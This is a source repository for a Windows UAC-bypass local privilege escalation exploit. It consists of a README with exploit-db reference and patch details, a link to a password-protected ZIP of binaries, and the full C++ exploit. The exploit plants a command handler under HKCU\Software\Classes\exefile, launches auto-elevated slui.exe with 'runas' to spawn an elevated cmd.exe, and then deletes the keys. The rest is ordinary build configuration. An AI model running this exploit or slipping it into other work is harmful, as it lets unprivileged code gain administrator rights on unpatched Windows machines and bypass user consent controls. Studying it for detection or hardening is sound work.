├── .gitignore
├── SluiFileHandlerHijackLPE
    ├── SluiFileHandlerHijackLPE.vcxproj.filters
    ├── SluiFileHandlerHijackLPE.cpp
    └── SluiFileHandlerHijackLPE.vcxproj
├── LICENSE.md
├── README.md
└── SluiFileHandlerHijackLPE.sln


/.gitignore:
--------------------------------------------------------------------------------
 1 | .vs/
 2 | bin/
 3 | obj/
 4 | Debug/
 5 | Release/
 6 | ipch/
 7 | TestResults/
 8 | *.suo
 9 | *.user
10 | *.sdf
11 | *.opensdf
12 | *.opendb
13 | *.VC.db
14 | *.aps
15 | [Tt]humbs.db
16 | *~*.xlsx
17 | *~*.docx
18 | 
19 | $Build/


--------------------------------------------------------------------------------
/SluiFileHandlerHijackLPE/SluiFileHandlerHijackLPE.vcxproj.filters:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="utf-8"?>
2 | <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3 |   <ItemGroup>
4 |     <ClCompile Include="SluiFileHandlerHijackLPE.cpp" />
5 |   </ItemGroup>
6 | </Project>


--------------------------------------------------------------------------------
/LICENSE.md:
--------------------------------------------------------------------------------
 1 | MIT License
 2 | 
 3 | Copyright (c) 2018 bytecode77
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # Slui File Handler Hijack LPE
 2 | 
 3 | | Exploit Information |                                   |
 4 | |:------------------- |:--------------------------------- |
 5 | | Date                | 15.01.2018                        |
 6 | | Patched             | Windows 10 20H1 (19041)           |
 7 | | exploit-db          | [44830](https://www.exploit-db.com/exploits/44830/) |
 8 | | Tested on           | Windows 8-10, x86/x64 independent |
 9 | 
10 | ## Description
11 | 
12 | slui.exe is an auto-elevated binary that is vulnerable to file handler hijacking.
13 | 
14 | Read access to HKCU\Software\Classes\exefile\shell\open is performed upon execution. Due to the registry key being accessible from user mode, an arbitrary executable file can be injected.
15 | 
16 | This exploit is generally independent from programming language and bitness, as no DLL injection or privileged file copy is needed. In addition, if default system binaries suffice, file drops can be avoided altogether.
17 | 
18 | ## Expected Result
19 | 
20 | When everything worked correctly, a cmd.exe should be spawned with high IL.
21 | 
22 | ## Downloads
23 | 
24 | Compiled binaries:
25 | 
26 | [![](http://bytecode77.com/public/fileicons/zip.png) SluiFileHandlerHijackLPE.zip](https://downloads.bytecode77.com/SluiFileHandlerHijackLPE.zip)
27 | (**ZIP Password:** bytecode77)
28 | 
29 | ## Project Page
30 | 
31 | [![](https://bytecode77.com/public/favicon16.png) bytecode77.com/slui-file-handler-hijack-privilege-escalation](https://bytecode77.com/slui-file-handler-hijack-privilege-escalation)


--------------------------------------------------------------------------------
/SluiFileHandlerHijackLPE.sln:
--------------------------------------------------------------------------------
 1 | 
 2 | Microsoft Visual Studio Solution File, Format Version 12.00
 3 | # Visual Studio 15
 4 | VisualStudioVersion = 15.0.27130.2010
 5 | MinimumVisualStudioVersion = 10.0.40219.1
 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SluiFileHandlerHijackLPE", "SluiFileHandlerHijackLPE\SluiFileHandlerHijackLPE.vcxproj", "{CF9EE248-E537-43C2-8886-C54E51430F02}"
 7 | EndProject
 8 | Global
 9 | 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | 		Debug|x64 = Debug|x64
11 | 		Debug|x86 = Debug|x86
12 | 		Release|x64 = Release|x64
13 | 		Release|x86 = Release|x86
14 | 	EndGlobalSection
15 | 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | 		{CF9EE248-E537-43C2-8886-C54E51430F02}.Debug|x64.ActiveCfg = Debug|x64
17 | 		{CF9EE248-E537-43C2-8886-C54E51430F02}.Debug|x64.Build.0 = Debug|x64
18 | 		{CF9EE248-E537-43C2-8886-C54E51430F02}.Debug|x86.ActiveCfg = Debug|Win32
19 | 		{CF9EE248-E537-43C2-8886-C54E51430F02}.Debug|x86.Build.0 = Debug|Win32
20 | 		{CF9EE248-E537-43C2-8886-C54E51430F02}.Release|x64.ActiveCfg = Release|x64
21 | 		{CF9EE248-E537-43C2-8886-C54E51430F02}.Release|x64.Build.0 = Release|x64
22 | 		{CF9EE248-E537-43C2-8886-C54E51430F02}.Release|x86.ActiveCfg = Release|Win32
23 | 		{CF9EE248-E537-43C2-8886-C54E51430F02}.Release|x86.Build.0 = Release|Win32
24 | 	EndGlobalSection
25 | 	GlobalSection(SolutionProperties) = preSolution
26 | 		HideSolutionNode = FALSE
27 | 	EndGlobalSection
28 | 	GlobalSection(ExtensibilityGlobals) = postSolution
29 | 		SolutionGuid = {AA468A55-1A3A-4469-A776-52B7578A0E7A}
30 | 	EndGlobalSection
31 | EndGlobal
32 | 


--------------------------------------------------------------------------------
/SluiFileHandlerHijackLPE/SluiFileHandlerHijackLPE.cpp:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * ╓──────────────────────────────────────────────────────────────────────────────────────╖
 3 |  * ║                                                                                      ║
 4 |  * ║   Slui File Handler Hijack UAC Bypass Local Privilege Escalation                     ║
 5 |  * ║                                                                                      ║
 6 |  * ║   Discovered by bytecode77 (https://bytecode77.com)                                  ║
 7 |  * ║                                                                                      ║
 8 |  * ║   Full Download:                                                                     ║
 9 |  * ║   https://bytecode77.com/slui-file-handler-hijack-privilege-escalation               ║
10 |  * ║                                                                                      ║
11 |  * ╟──────────────────────────────────────────────────────────────────────────────────────╢
12 |  * ║                                                                                      ║
13 |  * ║   slui.exe is an auto-elevated binary that is vulnerable to file handler             ║
14 |  * ║   hijacking.                                                                         ║
15 |  * ║                                                                                      ║
16 |  * ║   Read access to HKCU\Software\Classes\exefile\shell\open is performed upon          ║
17 |  * ║   execution. Due to the registry key being accessible from user mode, an arbitrary   ║
18 |  * ║   executable file can be provided.                                                   ║
19 |  * ║                                                                                      ║
20 |  * ║   This exploit is generally independent from programming language and bitness, as    ║
21 |  * ║   no DLL injection or privileged file copy is needed. In addition, if default        ║
22 |  * ║   system binaries suffice, file drops can be avoided altogether.                     ║
23 |  * ║                                                                                      ║
24 |  * ╙──────────────────────────────────────────────────────────────────────────────────────╜
25 |  */
26 | 
27 | #include <string>
28 | #include <Windows.h>
29 | using namespace std;
30 | 
31 | void CreateRegistryKey(HKEY key, wstring path, wstring name);
32 | void DeleteRegistryKey(HKEY key, wstring path, wstring name);
33 | void SetRegistryValue(HKEY key, wstring path, wstring name, wstring value);
34 | 
35 | int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
36 | {
37 | 	// Create Class "exefile" in HKCU
38 | 
39 | 	// HKEY_CURRENT_USER
40 | 	//   Software
41 | 	//     Classes
42 | 	//       exefile
43 | 	//         shell
44 | 	//           open
45 | 	//             command
46 | 	//               @=Payload     <-- cmd.exe is used here, can be any executable
47 | 
48 | 	// Create registry tree
49 | 	CreateRegistryKey(HKEY_CURRENT_USER, L"Software\\Classes", L"exefile");
50 | 	CreateRegistryKey(HKEY_CURRENT_USER, L"Software\\Classes\\exefile", L"shell");
51 | 	CreateRegistryKey(HKEY_CURRENT_USER, L"Software\\Classes\\exefile\\shell", L"open");
52 | 	CreateRegistryKey(HKEY_CURRENT_USER, L"Software\\Classes\\exefile\\shell\\open", L"command");
53 | 
54 | 	// Set payload to cmd.exe
55 | 	// Any executable can be used. File drops can, however, be avoided completely if system binaries suffice.
56 | 	SetRegistryValue(HKEY_CURRENT_USER, L"Software\\Classes\\exefile\\shell\\open\\command", L"", L"C:\\Windows\\System32\\cmd.exe");
57 | 
58 | 	// Start slui.exe with "runas" verb
59 | 	ShellExecuteW(NULL, L"runas", L"C:\\Windows\\System32\\slui.exe", NULL, NULL, SW_SHOWNORMAL);
60 | 
61 | 	// Wait some time until it finished loading
62 | 	Sleep(1000);
63 | 
64 | 	// Delete registry keys, but only from \Software\Classes\exefile\shell to not interfere with other application handlers
65 | 	DeleteRegistryKey(HKEY_CURRENT_USER, L"Software\\Classes\\exefile\\shell\\open", L"command");
66 | 	DeleteRegistryKey(HKEY_CURRENT_USER, L"Software\\Classes\\exefile\\shell", L"open");
67 | 	return 0;
68 | }
69 | 
70 | 
71 | 
72 | void CreateRegistryKey(HKEY key, wstring path, wstring name)
73 | {
74 | 	HKEY hKey;
75 | 	if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL)
76 | 	{
77 | 		HKEY hKeyResult;
78 | 		RegCreateKeyW(hKey, name.c_str(), &hKeyResult);
79 | 		RegCloseKey(hKey);
80 | 	}
81 | }
82 | void DeleteRegistryKey(HKEY key, wstring path, wstring name)
83 | {
84 | 	HKEY hKey;
85 | 	if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL)
86 | 	{
87 | 		RegDeleteKeyW(hKey, name.c_str());
88 | 		RegCloseKey(hKey);
89 | 	}
90 | }
91 | void SetRegistryValue(HKEY key, wstring path, wstring name, wstring value)
92 | {
93 | 	HKEY hKey;
94 | 	if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL)
95 | 	{
96 | 		RegSetValueExW(hKey, name.c_str(), 0, REG_SZ, (BYTE*)value.c_str(), ((DWORD)wcslen(value.c_str()) + 1) * sizeof(wchar_t));
97 | 		RegCloseKey(hKey);
98 | 	}
99 | }


--------------------------------------------------------------------------------
/SluiFileHandlerHijackLPE/SluiFileHandlerHijackLPE.vcxproj:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" encoding="utf-8"?>
  2 | <Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  3 |   <ItemGroup Label="ProjectConfigurations">
  4 |     <ProjectConfiguration Include="Debug|Win32">
  5 |       <Configuration>Debug</Configuration>
  6 |       <Platform>Win32</Platform>
  7 |     </ProjectConfiguration>
  8 |     <ProjectConfiguration Include="Release|Win32">
  9 |       <Configuration>Release</Configuration>
 10 |       <Platform>Win32</Platform>
 11 |     </ProjectConfiguration>
 12 |     <ProjectConfiguration Include="Debug|x64">
 13 |       <Configuration>Debug</Configuration>
 14 |       <Platform>x64</Platform>
 15 |     </ProjectConfiguration>
 16 |     <ProjectConfiguration Include="Release|x64">
 17 |       <Configuration>Release</Configuration>
 18 |       <Platform>x64</Platform>
 19 |     </ProjectConfiguration>
 20 |   </ItemGroup>
 21 |   <PropertyGroup Label="Globals">
 22 |     <VCProjectVersion>15.0</VCProjectVersion>
 23 |     <ProjectGuid>{CF9EE248-E537-43C2-8886-C54E51430F02}</ProjectGuid>
 24 |     <RootNamespace>SluiFileHandlerHijackLPE</RootNamespace>
 25 |     <WindowsTargetPlatformVersion>10.0.16299.0</WindowsTargetPlatformVersion>
 26 |   </PropertyGroup>
 27 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
 28 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
 29 |     <ConfigurationType>Application</ConfigurationType>
 30 |     <UseDebugLibraries>true</UseDebugLibraries>
 31 |     <PlatformToolset>v141</PlatformToolset>
 32 |     <CharacterSet>MultiByte</CharacterSet>
 33 |   </PropertyGroup>
 34 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
 35 |     <ConfigurationType>Application</ConfigurationType>
 36 |     <UseDebugLibraries>false</UseDebugLibraries>
 37 |     <PlatformToolset>v141</PlatformToolset>
 38 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 39 |     <CharacterSet>MultiByte</CharacterSet>
 40 |   </PropertyGroup>
 41 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
 42 |     <ConfigurationType>Application</ConfigurationType>
 43 |     <UseDebugLibraries>true</UseDebugLibraries>
 44 |     <PlatformToolset>v141</PlatformToolset>
 45 |     <CharacterSet>MultiByte</CharacterSet>
 46 |   </PropertyGroup>
 47 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
 48 |     <ConfigurationType>Application</ConfigurationType>
 49 |     <UseDebugLibraries>false</UseDebugLibraries>
 50 |     <PlatformToolset>v141</PlatformToolset>
 51 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 52 |     <CharacterSet>MultiByte</CharacterSet>
 53 |   </PropertyGroup>
 54 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
 55 |   <ImportGroup Label="ExtensionSettings">
 56 |   </ImportGroup>
 57 |   <ImportGroup Label="Shared">
 58 |   </ImportGroup>
 59 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 60 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 61 |   </ImportGroup>
 62 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 63 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 64 |   </ImportGroup>
 65 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 66 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 67 |   </ImportGroup>
 68 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 69 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 70 |   </ImportGroup>
 71 |   <PropertyGroup Label="UserMacros" />
 72 |   <PropertyGroup />
 73 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 74 |     <ClCompile>
 75 |       <WarningLevel>Level3</WarningLevel>
 76 |       <Optimization>Disabled</Optimization>
 77 |       <SDLCheck>true</SDLCheck>
 78 |       <ConformanceMode>true</ConformanceMode>
 79 |       <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
 80 |     </ClCompile>
 81 |     <PostBuildEvent>
 82 |       <Command>mkdir "$(SolutionDir)$Build"
 83 | mkdir "$(SolutionDir)$Build\$(PlatformShortName)"
 84 | xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build\$(PlatformShortName)"</Command>
 85 |     </PostBuildEvent>
 86 |   </ItemDefinitionGroup>
 87 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 88 |     <ClCompile>
 89 |       <WarningLevel>Level3</WarningLevel>
 90 |       <Optimization>Disabled</Optimization>
 91 |       <SDLCheck>true</SDLCheck>
 92 |       <ConformanceMode>true</ConformanceMode>
 93 |       <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
 94 |     </ClCompile>
 95 |     <PostBuildEvent>
 96 |       <Command>mkdir "$(SolutionDir)$Build"
 97 | mkdir "$(SolutionDir)$Build\$(PlatformShortName)"
 98 | xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build\$(PlatformShortName)"</Command>
 99 |     </PostBuildEvent>
100 |   </ItemDefinitionGroup>
101 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
102 |     <ClCompile>
103 |       <WarningLevel>Level3</WarningLevel>
104 |       <Optimization>MaxSpeed</Optimization>
105 |       <FunctionLevelLinking>true</FunctionLevelLinking>
106 |       <IntrinsicFunctions>true</IntrinsicFunctions>
107 |       <SDLCheck>true</SDLCheck>
108 |       <ConformanceMode>true</ConformanceMode>
109 |       <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
110 |     </ClCompile>
111 |     <Link>
112 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
113 |       <OptimizeReferences>true</OptimizeReferences>
114 |     </Link>
115 |     <PostBuildEvent>
116 |       <Command>mkdir "$(SolutionDir)$Build"
117 | mkdir "$(SolutionDir)$Build\$(PlatformShortName)"
118 | xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build\$(PlatformShortName)"</Command>
119 |     </PostBuildEvent>
120 |   </ItemDefinitionGroup>
121 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
122 |     <ClCompile>
123 |       <WarningLevel>Level3</WarningLevel>
124 |       <Optimization>MaxSpeed</Optimization>
125 |       <FunctionLevelLinking>true</FunctionLevelLinking>
126 |       <IntrinsicFunctions>true</IntrinsicFunctions>
127 |       <SDLCheck>true</SDLCheck>
128 |       <ConformanceMode>true</ConformanceMode>
129 |       <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
130 |     </ClCompile>
131 |     <Link>
132 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
133 |       <OptimizeReferences>true</OptimizeReferences>
134 |     </Link>
135 |     <PostBuildEvent>
136 |       <Command>mkdir "$(SolutionDir)$Build"
137 | mkdir "$(SolutionDir)$Build\$(PlatformShortName)"
138 | xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build\$(PlatformShortName)"</Command>
139 |     </PostBuildEvent>
140 |   </ItemDefinitionGroup>
141 |   <ItemGroup>
142 |     <ClCompile Include="SluiFileHandlerHijackLPE.cpp" />
143 |   </ItemGroup>
144 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
145 |   <ImportGroup Label="ExtensionTargets">
146 |   </ImportGroup>
147 | </Project>


--------------------------------------------------------------------------------